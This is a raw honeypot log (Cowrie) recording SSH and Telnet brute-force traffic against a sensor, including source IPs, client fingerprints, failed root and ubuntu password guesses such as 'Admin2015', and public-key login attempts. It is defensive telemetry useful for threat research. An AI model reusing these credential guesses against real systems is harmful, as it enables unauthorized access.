{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:23.359010Z","src_ip":"103.153.68.219","session":"7d44d34b81f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09041992","message":"login attempt [root/09041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:24.094458Z","src_ip":"103.153.68.219","session":"7d44d34b81f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:25.341700Z","src_ip":"103.153.68.219","session":"7d44d34b81f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49002,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb60caaaddaf","protocol":"ssh","message":"New connection: 27.71.230.31:49002 (10.17.0.5:22) [session: bb60caaaddaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:35.112639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:35.162714Z","src_ip":"27.71.230.31","session":"bb60caaaddaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:37.303856Z","src_ip":"27.71.230.31","session":"bb60caaaddaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.398518323898315,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:38.786883Z","src_ip":"107.6.151.170","session":"545b81d09b36","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2015","message":"login attempt [root/Admin2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:40.515086Z","src_ip":"27.71.230.31","session":"bb60caaaddaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:42.172476Z","src_ip":"27.71.230.31","session":"bb60caaaddaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47254,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d14c1ea3fad","protocol":"ssh","message":"New connection: 80.94.92.184:47254 (10.17.0.5:22) [session: 7d14c1ea3fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:56.089147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:56.364202Z","src_ip":"80.94.92.184","session":"7d14c1ea3fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:56.366989Z","src_ip":"80.94.92.184","session":"7d14c1ea3fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46054,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7dd4a671a9e","protocol":"telnet","message":"New connection: 172.81.62.90:46054 (159.203.135.109:23) [session: c7dd4a671a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:58.656612Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:59.057692Z","src_ip":"80.94.92.184","session":"7d14c1ea3fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:18:00.060545Z","src_ip":"80.94.92.184","session":"7d14c1ea3fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61313223838806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:18:31.269655Z","src_ip":"172.81.62.90","session":"c7dd4a671a9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39596,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c9c1d2975fc","protocol":"ssh","message":"New connection: 27.71.230.31:39596 (159.203.135.109:22) [session: 3c9c1d2975fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:18:54.665299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:18:54.705905Z","src_ip":"27.71.230.31","session":"3c9c1d2975fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:18:57.399488Z","src_ip":"27.71.230.31","session":"3c9c1d2975fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":37826,"dst_ip":"159.203.135.109","dst_port":22,"session":"433e74221059","protocol":"ssh","message":"New connection: 77.94.47.83:37826 (159.203.135.109:22) [session: 433e74221059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:19:09.141709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:19:09.151118Z","src_ip":"77.94.47.83","session":"433e74221059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:19:09.265723Z","src_ip":"77.94.47.83","session":"433e74221059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199292","message":"login attempt [root/199292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:19:09.610192Z","src_ip":"77.94.47.83","session":"433e74221059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:19:10.727882Z","src_ip":"77.94.47.83","session":"433e74221059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2015","message":"login attempt [root/Admin2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:19:12.218261Z","src_ip":"27.71.230.31","session":"3c9c1d2975fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:19:16.437722Z","src_ip":"27.71.230.31","session":"3c9c1d2975fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":62742,"dst_ip":"10.17.0.5","dst_port":22,"session":"420e94ad6b3e","protocol":"ssh","message":"New connection: 172.110.221.82:62742 (10.17.0.5:22) [session: 420e94ad6b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:48.943406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:48.947867Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.057121Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ed:7f:ac:7d:1c:74:da:f0:26:23:ee:8c:0a:fd:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwj9M9UtlowZlODU88oxbMtl/r6rtTqNGbxXwTv85Q7CJZQ+OrzPC/gwLjkBV1WWjjhIF+qLmE7oERAeZ6+5KPHJs7/dtksZHKhM13BLxe+xFVyJse4O+pD+QEpQ6dMEQ5hxtfVvT84py5RKHxnpDbIBfEV7ijZ8K9xmtxyM0+23fpe3jetomKQ+DN7B8kvHX51b1gpYNYvZDjCR4NQOG9/zzS78C1HZBESaDqS7N74dR/KjP5hYN9TdT/INmiCPCxjaS9Io4KgWms+ctnEB7iy+tvSqyVmxQiDc4fhrJYNbpBU0Nl0auxqTu1CX7hjKVJeHOJDLelqgaL+Ph5e0Exw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ed:7f:ac:7d:1c:74:da:f0:26:23:ee:8c:0a:fd:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.554473Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ed:7f:ac:7d:1c:74:da:f0:26:23:ee:8c:0a:fd:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwj9M9UtlowZlODU88oxbMtl/r6rtTqNGbxXwTv85Q7CJZQ+OrzPC/gwLjkBV1WWjjhIF+qLmE7oERAeZ6+5KPHJs7/dtksZHKhM13BLxe+xFVyJse4O+pD+QEpQ6dMEQ5hxtfVvT84py5RKHxnpDbIBfEV7ijZ8K9xmtxyM0+23fpe3jetomKQ+DN7B8kvHX51b1gpYNYvZDjCR4NQOG9/zzS78C1HZBESaDqS7N74dR/KjP5hYN9TdT/INmiCPCxjaS9Io4KgWms+ctnEB7iy+tvSqyVmxQiDc4fhrJYNbpBU0Nl0auxqTu1CX7hjKVJeHOJDLelqgaL+Ph5e0Exw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.557479Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:7c:00:a2:69:d3:8d:26:d1:d1:e5:a5:7c:64:c4:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoOsEMcfaRkh0MTKdWOpwkHbeWsjCiYrTLNDZDFIWion5qOt91I8Ayho2YIYDYN0YK0YXzGpXnmGpGciY2oqYPFTguYv6/z2tdowL2hZLBjBZGu6Kwlmpebav+7E+xCHBnkdGl53HP8f0NF/rJjRy/sXHh9h3MwSJazyVD1/+c5nWB+GpstWhgAeVWEznnm3pBYPEdeiaHEOQBDNLyPwc+FW7B88eXj4PNWVBPXTJVCpcEksS4QXczZZ+rO6bYrMJDUTAWplGRzbH+C0vhhdM0VU/ZN7PQ0C9wfCZSsHM2wrf/qo+At8UljhY55gxRO7zM9Yp16BZuLFljWAd8fHZL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:7c:00:a2:69:d3:8d:26:d1:d1:e5:a5:7c:64:c4:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.660481Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:7c:00:a2:69:d3:8d:26:d1:d1:e5:a5:7c:64:c4:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoOsEMcfaRkh0MTKdWOpwkHbeWsjCiYrTLNDZDFIWion5qOt91I8Ayho2YIYDYN0YK0YXzGpXnmGpGciY2oqYPFTguYv6/z2tdowL2hZLBjBZGu6Kwlmpebav+7E+xCHBnkdGl53HP8f0NF/rJjRy/sXHh9h3MwSJazyVD1/+c5nWB+GpstWhgAeVWEznnm3pBYPEdeiaHEOQBDNLyPwc+FW7B88eXj4PNWVBPXTJVCpcEksS4QXczZZ+rO6bYrMJDUTAWplGRzbH+C0vhhdM0VU/ZN7PQ0C9wfCZSsHM2wrf/qo+At8UljhY55gxRO7zM9Yp16BZuLFljWAd8fHZL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.663230Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:27:1c:bc:d1:e3:2b:a8:04:3c:05:2c:e1:25:0f:b8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPgzivVfsjZ/yq1mw5hhK4EUNQPSVH9Txmg62jCBmHWz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1d:27:1c:bc:d1:e3:2b:a8:04:3c:05:2c:e1:25:0f:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.766339Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:27:1c:bc:d1:e3:2b:a8:04:3c:05:2c:e1:25:0f:b8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPgzivVfsjZ/yq1mw5hhK4EUNQPSVH9Txmg62jCBmHWz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.769322Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:60:de:e8:2f:d6:c7:97:6e:ad:96:a8:1d:fc:63:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDULRd2RfaDB8NJjeoGoefohFEv1K151DWyJBnX4DnImvy5ordPNBGdB9bYjyJvJwZV6zwg5eFkB5MkVCFcAY3f31ytGpO3hrmCGPTfiVlU+p4mY1grKxuXkcdZE5yRUijHRSPjEJfOQkfp8vHBOTIHg87nzqtRsQNscL5Ya1iVI/y4NN8IjgscTYK0Tan124qd9vfOt7qgQkUCiSQMNQK18h0SfKLKm8V0q/iqVnCOYapFZ8LGfo8zvWIsxeXWFiS9bntNA7Vv28J8wIwDhJTxFSyyQ3GzhPVdAFkEbOgYFSzMP+Ip3QyXMWfGCYap3SgnFBcwRAfcNyBA5Xn6DE5p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:60:de:e8:2f:d6:c7:97:6e:ad:96:a8:1d:fc:63:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:20:49.875670Z","src_ip":"172.110.221.82","session":"420e94ad6b3e","protocol":"ssh"}
